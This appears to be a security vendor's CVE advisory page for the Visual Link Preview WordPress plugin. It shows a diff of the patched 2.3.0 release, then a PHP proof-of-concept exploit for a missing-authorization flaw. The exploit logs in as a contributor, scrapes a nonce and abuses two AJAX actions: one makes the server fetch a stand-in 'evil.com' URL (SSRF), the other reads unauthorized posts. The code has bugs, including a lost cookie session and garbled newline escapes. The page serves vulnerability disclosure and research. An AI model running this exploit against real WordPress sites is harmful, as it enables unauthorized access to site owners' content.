@@ -0,0 +1,106 @@
+<?php
+/**
+ * Handle compatibility with other plugins/themes.
+ *
+ * @link       http://bootstrapped.ventures
+ * @since      2.3.0
+ *
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/public
+ */
+
+/**
+ * Handle compatibility with other plugins/themes.
+ *
+ * @since      2.3.0
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/includes/public
+ * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
+ */
+class VLP_Compatibility {
+
+	/**
+	 * Register actions and filters.
+	 *
+	 * @since    2.3.0
+	 */
+	public static function init() {
+		// Elementor.
+		add_action( 'elementor/editor/before_enqueue_scripts', array( __CLASS__, 'elementor_assets' ) );
+		add_action( 'elementor/controls/register', array( __CLASS__, 'elementor_controls' ) );
+		add_action( 'elementor/preview/enqueue_styles', array( __CLASS__, 'elementor_styles' ) );
+		add_action( 'elementor/widgets/register', array( __CLASS__, 'elementor_widgets' ) );
+		add_action( 'elementor/elements/categories_registered', array( __CLASS__, 'elementor_categories' ) );
+	}
+
+	/**
+	 * Enqueue Elementor editor assets.
+	 *
+	 * @since 2.3.0
+	 */
+	public static function elementor_assets() {
+		if ( class_exists( 'VLP_Modal' ) ) {
+			VLP_Modal::add_modal_content();
+		}
+
+		if ( class_exists( 'VLP_Assets' ) ) {
+			VLP_Assets::enqueue();
+		}
+
+		// Ensure modal styles and icons are available in the Elementor editor.
+		wp_enqueue_style( 'vlp-admin', VLP_URL . 'dist/admin.css', array(), VLP_VERSION, 'all' );
+
+		wp_enqueue_script( 'vlp-elementor', VLP_URL . 'assets/js/other/elementor.js', array( 'jquery', 'vlp-admin' ), VLP_VERSION, true );
+	}
+
+	/**
+	 * Register Elementor controls.
+	 *
+	 * @since 2.3.0
+	 * @param ElementorControls_Manager $controls_manager Elementor controls manager.
+	 */
+	public static function elementor_controls( $controls_manager ) {
+		include( VLP_DIR . 'templates/elementor/control.php' );
+		$controls_manager->register( new VLP_Elementor_Control() );
+	}
+
+	/**
+	 * Enqueue Elementor preview styles.
+	 *
+	 * @since 2.3.0
+	 */
+	public static function elementor_styles() {
+		if ( class_exists( 'VLP_Shortcode' ) ) {
+			VLP_Shortcode::enqueue();
+		}
+	}
+
+	/**
+	 * Register Elementor widgets.
+	 *
+	 * @since 2.3.0
+	 * @param ElementorWidgets_Manager $widgets_manager Elementor widgets manager.
+	 */
+	public static function elementor_widgets( $widgets_manager ) {
+		include( VLP_DIR . 'templates/elementor/widget-link.php' );
+		$widgets_manager->register( new VLP_Elementor_Link_Widget() );
+	}
+
+	/**
+	 * Add custom widget categories to Elementor.
+	 *
+	 * @since 2.3.0
+	 * @param ElementorElements_Manager $elements_manager Elementor elements manager.
+	 */
+	public static function elementor_categories( $elements_manager ) {
+		$elements_manager->add_category(
+			'visual-link-preview',
+			array(
+				'title' => __( 'Visual Link Preview', 'visual-link-preview' ),
+				'icon'  => 'fa fa-plug',
+			)
+		);
+	}
+}
+
+VLP_Compatibility::init();
--- a/visual-link-preview/includes/public/class-vlp-shortcode.php
+++ b/visual-link-preview/includes/public/class-vlp-shortcode.php
@@ -81,6 +81,10 @@
 						'type' => 'string',
 						'default' => '',
 					),
+					'provider_used' => array(
+						'type' => 'string',
+						'default' => '',
+					),
 					'template' => array(
 						'type' => 'string',
 						'default' => 'use_default_from_settings',
--- a/visual-link-preview/templates/elementor/control.php
+++ b/visual-link-preview/templates/elementor/control.php
@@ -0,0 +1,58 @@
+<?php
+/**
+ * Elementor control for Visual Link Preview.
+ *
+ * @link       http://bootstrapped.ventures
+ * @since      2.3.0
+ *
+ * @package    Visual_Link_Preview
+ * @subpackage Visual_Link_Preview/templates/elementor
+ */
+
+/**
+ * Elementor control for Visual Link Preview.
+ *
+ * @since 2.3.0
+ */
+class VLP_Elementor_Control extends ElementorBase_Data_Control {
+
+	/**
+	 * Get control type.
+	 *
+	 * @since 2.3.0
+	 */
+	public function get_type() {
+		return 'vlp-link-builder';
+	}
+
+	/**
+	 * Enqueue control assets.
+	 *
+	 * @since 2.3.0
+	 */
+	public function enqueue() {
+		wp_enqueue_script( 'vlp-elementor-control', VLP_URL . 'templates/elementor/control.min.js', array( 'jquery' ), VLP_VERSION, true );
+	}
+
+	/**
+	 * Get default value.
+	 *
+	 * @since 2.3.0
+	 */
+	public function get_default_value() {
+		return '';
+	}
+
+	/**
+	 * Output control template.
+	 *
+	 * @since 2.3.0
+	 */
+	public function content_template() {
+		?>
+		<div class="vlp-elementor-control-placeholder">
+			<?php esc_html_e( 'Use the buttons above to create or edit a visual link preview.', 'visual-link-preview' ); ?>
+		</div>
+		<?php
+	}
+}
--- a/visual-link-preview/templates/elementor/widget-link.php
+++ b/visual-link-preview/templates/elementor/widget-link.php
@@ -0,0 +1,173 @@
+<?php
+/**
+ * Elementor VLP Link Widget.
+ *
+ * Elementor widget for inserting Visual Link Preview links.
+ *
+ * @since 2.3.0
+ */
+class VLP_Elementor_Link_Widget extends ElementorWidget_Base {
+
+	/**
+	 * Get widget name.
+	 *
+	 * @since 2.3.0
+	 */
+	public function get_name() {
+		return 'vlp-link-preview';
+	}
+
+	/**
+	 * Get widget title.
+	 *
+	 * @since 2.3.0
+	 */
+	public function get_title() {
+		return __( 'Visual Link Preview', 'visual-link-preview' );
+	}
+
+	/**
+	 * Get widget icon.
+	 *
+	 * @since 2.3.0
+	 */
+	public function get_icon() {
+		return 'eicon-link';
+	}
+
+	/**
+	 * Get widget categories.
+	 *
+	 * @since 2.3.0
+	 */
+	public function get_categories() {
+		return array( 'visual-link-preview' );
+	}
+
+	/**
+	 * Get widget keywords.
+	 *
+	 * @since 2.3.0
+	 */
+	public function get_keywords() {
+		return array( 'vlp', 'visual', 'link', 'preview' );
+	}
+
+	/**
+	 * Register widget controls.
+	 *
+	 * @since 2.3.0
+	 */
+	protected function register_controls() {
+		$this->start_controls_section(
+			'content_section',
+			array(
+				'label' => __( 'Visual Link Preview', 'visual-link-preview' ),
+				'tab'   => ElementorControls_Manager::TAB_CONTENT,
+			)
+		);
+
+		$this->add_control(
+			'vlp_create',
+			array(
+				'type'       => ElementorControls_Manager::BUTTON,
+				'text'       => __( 'Create visual link', 'visual-link-preview' ),
+				'event'      => 'vlp:link:create',
+				'conditions' => array(
+					'terms' => array(
+						array(
+							'name'     => 'vlp_encoded',
+							'operator' => '==',
+							'value'    => '',
+						),
+					),
+				),
+			)
+		);
+
+		$this->add_control(
+			'vlp_edit',
+			array(
+				'type'       => ElementorControls_Manager::BUTTON,
+				'text'       => __( 'Edit visual link', 'visual-link-preview' ),
+				'event'      => 'vlp:link:edit',
+				'conditions' => array(
+					'terms' => array(
+						array(
+							'name'     => 'vlp_encoded',
+							'operator' => '!=',
+							'value'    => '',
+						),
+					),
+				),
+			)
+		);
+
+		$this->add_control(
+			'vlp_encoded',
+			array(
+				'type'    => ElementorControls_Manager::HIDDEN,
+				'default' => '',
+			)
+		);
+
+		$this->add_control(
+			'vlp_link_builder',
+			array(
+				'type' => 'vlp-link-builder',
+			)
+		);
+
+		$this->add_control(
+			'vlp_unset',
+			array(
+				'type'       => ElementorControls_Manager::BUTTON,
+				'text'       => __( 'Unset visual link', 'visual-link-preview' ),
+				'event'      => 'vlp:link:unset',
+				'conditions' => array(
+					'terms' => array(
+						array(
+							'name'     => 'vlp_encoded',
+							'operator' => '!=',
+							'value'    => '',
+						),
+					),
+				),
+			)
+		);
+
+		$this->end_controls_section();
+	}
+
+	/**
+	 * Render widget output on the frontend.
+	 *
+	 * @since 2.3.0
+	 */
+	protected function render() {
+		$output  = '';
+		$encoded = trim( $this->get_settings_for_display( 'vlp_encoded' ) );
+
+		if ( ElementorPlugin::$instance->editor->is_edit_mode() ) {
+			if ( '' !== $encoded ) {
+				$link = new VLP_Link( $encoded );
+
+				$template = VLP_Template_Manager::get_template_by_slug( $link->template() );
+				if ( $template ) {
+					$output .= '<style type="text/css">' . VLP_Template_Manager::get_template_css( $template ) . VLP_Template_Style::get_css() . '</style>';
+				}
+
+				$output .= $link->output();
+			} else {
+				$output = '<div style="font-family: monospace;font-style:italic;cursor:pointer;"><' . esc_html__( 'Click and select a Visual Link Preview in the sidebar.', 'visual-link-preview' ) . '></div>';
+			}
+		} else {
+			if ( '' !== $encoded ) {
+				$link   = new VLP_Link( $encoded );
+				$output = $link->output();
+			}
+		}
+
+		echo $output;
+	}
+}
--- a/visual-link-preview/templates/settings/settings.php
+++ b/visual-link-preview/templates/settings/settings.php
@@ -239,11 +239,23 @@
         ),
     ),
     array(
-        'id' => 'advanced',
-        'name' => __( 'Advanced', 'visual-link-preview' ),
-        'icon' => 'cog',
+        'id' => 'providers',
+        'name' => __( 'Metadata Providers', 'visual-link-preview' ),
+        'description' => __( 'Metadata providers are used to fetch metadata for external URLs, such as title, summary, and image.', 'visual-link-preview' ),
+        'icon' => 'link',
         'settings' => array(
             array(
+                'id' => 'url_provider_order',
+                'name' => __( 'URL Provider Order', 'visual-link-preview' ),
+                'description' => sprintf(
+                    __( 'One provider ID per line (%s). Order matters - providers are tried top to bottom.', 'visual-link-preview' ),
+                    'php, microlink, linkpreview'
+                ),
+                'type' => 'textarea',
+                'default' => "phpnmicrolinknlinkpreview",
+                'rows' => 3,
+            ),
+            array(
                 'id' => 'microlink_api_key',
                 'name' => __( 'Microlink API Key', 'visual-link-preview' ),
                 'description' => __( 'Optionally add your microlink.io API key. Leave blank to use the free plan (limited number of requests per month).', 'visual-link-preview' ),
@@ -252,6 +264,21 @@
                 'default' => '',
             ),
             array(
+                'id' => 'linkpreview_api_key',
+                'name' => __( 'LinkPreview API Key', 'visual-link-preview' ),
+                'description' => __( 'Optionally add your linkpreview.net API key.', 'visual-link-preview' ),
+                'documentation' => 'https://www.linkpreview.net',
+                'type' => 'text',
+                'default' => '',
+            ),
+        ),
+    ),
+    array(
+        'id' => 'advanced',
+        'name' => __( 'Advanced', 'visual-link-preview' ),
+        'icon' => 'cog',
+        'settings' => array(
+            array(
                 'id' => 'rss_feed_output',
                 'name' => __( 'RSS Feed Output', 'visual-link-preview' ),
                 'description' => __( 'Choose how visual links should be rendered inside RSS feeds.', 'visual-link-preview' ),
--- a/visual-link-preview/visual-link-preview.php
+++ b/visual-link-preview/visual-link-preview.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Visual Link Preview
  * Plugin URI:        http://bootstrapped.ventures/visual-link-preview/
  * Description:       Display a fully customizable visual link preview for any internal or external link.
- * Version:           2.2.9
+ * Version:           2.3.0
  * Author:            Bootstrapped Ventures
  * Author URI:        http://bootstrapped.ventures/
  * License:           GPL-2.0+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24984 - Visual Link Preview <= 2.2.9 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-24984
 * Requires Contributor-level WordPress access and a valid nonce
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate and get nonce from the plugin's interface
function get_vlp_nonce($target_url, $username, $password) {
    // First, authenticate to WordPress
    $login_url = $target_url . '/wp-login.php';
    $admin_url = $target_url . '/wp-admin/';
    
    // Create a cookie jar
    $cookie_file = tempnam(sys_get_temp_dir(), 'cookies_');
    
    // Initialize cURL session for login
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $username,
            'pwd' => $password,
            'wp-submit' => 'Log In',
            'redirect_to' => $admin_url,
            'testcookie' => '1'
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded'
        ]
    ]);
    
    $response = curl_exec($ch);
    
    // Now access the editor page to get the VLP nonce
    // The nonce is typically embedded in JavaScript variables
    $editor_url = $target_url . '/wp-admin/post-new.php';
    curl_setopt($ch, CURLOPT_URL, $editor_url);
    curl_setopt($ch, CURLOPT_POST, false);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Extract nonce from the response (simplified pattern)
    // In reality, you would parse the JavaScript to find vlp.nonce
    preg_match('/vlp.*?nonce.*?["']([a-f0-9]+)["']/', $response, $matches);
    
    if (isset($matches[1])) {
        return $matches[1];
    }
    
    return null;
}

// Step 2: Exploit vlp_save_image to download arbitrary image
function exploit_save_image($target_url, $cookie_file, $nonce, $image_url) {
    $ajax_url = $target_url . '/wp-admin/admin-ajax.php';
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => 'vlp_save_image',
            'security' => $nonce,
            'url' => $image_url
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded'
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Step 3: Exploit vlp_get_post_content to read unauthorized posts
function exploit_get_post_content($target_url, $cookie_file, $nonce, $post_id) {
    $ajax_url = $target_url . '/wp-admin/admin-ajax.php';
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => 'vlp_get_post_content',
            'security' => $nonce,
            'id' => $post_id
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded'
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Main execution
$nonce = get_vlp_nonce($target_url, $username, $password);

if ($nonce) {
    echo "[+] Obtained nonce: $noncen";
    
    // Create cookie file for authenticated session
    $cookie_file = tempnam(sys_get_temp_dir(), 'cookies_');
    
    // Test 1: Download arbitrary image (SSRF)
    echo "[+] Testing vlp_save_image with external image...n";
    $result1 = exploit_save_image($target_url, $cookie_file, $nonce, 'https://evil.com/image.jpg');
    echo "HTTP Code: " . $result1['code'] . "n";
    echo "Response: " . $result1['response'] . "nn";
    
    // Test 2: Read unauthorized post (ID 1 is often admin post)
    echo "[+] Testing vlp_get_post_content with post ID 1...n";
    $result2 = exploit_get_post_content($target_url, $cookie_file, $nonce, 1);
    echo "HTTP Code: " . $result2['code'] . "n";
    echo "Response: " . $result2['response'] . "n";
    
    // Cleanup
    unlink($cookie_file);
} else {
    echo "[-] Failed to obtain noncen";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School